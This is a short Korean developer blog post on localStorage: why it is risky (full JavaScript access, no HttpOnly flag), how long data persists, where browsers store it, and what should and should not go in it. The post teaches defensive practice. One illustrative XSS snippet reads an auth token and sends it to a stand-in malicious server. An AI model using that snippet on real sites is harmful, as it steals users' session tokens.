localStorage

niche·2025년 4월 12일
  1. JavaScript로 직접 접근 가능
    브라우저의 모든 JavaScript 코드가 localStorage에 자유롭게 접근 가능
    공격자가 사이트에 악성 스크립트 삽입에 성공하면 저장된 모든 데이터를 읽을 수 있음

  2. 보안 플래그 부재
    HttpOnly나 Secure 같은 보안 플래그 설정 불가능
    JavaScript 접근을 제한하는 방법이 없음

  // XSS 공격 예시: 악성 스크립트가 실행되면
   const token = localStorage.getItem('authToken');
   fetch('https://악성서버.com/steal', {
     method: 'POST',
     body: JSON.stringify({ token })
   });
  1. 지속성
    명시적으로 삭제하기 전까지 영구적으로 저장됨
    브라우저를 종료한다고 해도 데이터는 살아있음
  1. 물리적 저장 위치
    브라우저마다 다르지만 대부분 SQLite 데이터베이스 파일이나 별도 파일 형태로 하드 디스크에 저장
    맥북의 경우 브라우저별 프로필 디렉토리에 저장 (예: ~/Library/Application Support/Google/Chrome)

  2. 지속성의 범위
    맥북을 완전히 종료하고 다시 켜도 데이터가 유지됨
    하드 디스크에 저장되므로 컴퓨터 전원이 꺼져도 데이터 손실 없음
    사용자가 브라우저 데이터를 직접 삭제하기 전까지 계속 유지됨

  3. localStorage의 적합한 사용 사례
    민감하지 않은 사용자 기본 설정: 다크/라이트 테마 선택, 언어 설정, 지역 설정, UI 사용자 정의 옵션
    UI 상태 보존: 마지막으로 열었던 탭, 사이드바 접힘/펼침 상태, 목록 정렬 방식
    캐싱 데이터: 자주 변경되지 않는 정적 데이터, API 응답 캐싱 (적절한 만료 시간 설정)
    오프라인 기능 지원: PWA 오프라인 모드용 데이터, 임시 작성 글 자동 저장
    비-민감 기록 데이터: 최근 검색어, 방문 기록, 사용자 활동 로그

  4. 부적합한 사용 사례
    인증 토큰, JWT (HttpOnly 쿠키 사용)
    개인식별정보 (PII)
    결제 정보
    비밀번호
    민감한 사용자 데이터

profile
개발이 곧 나를 만든다.

0개의 댓글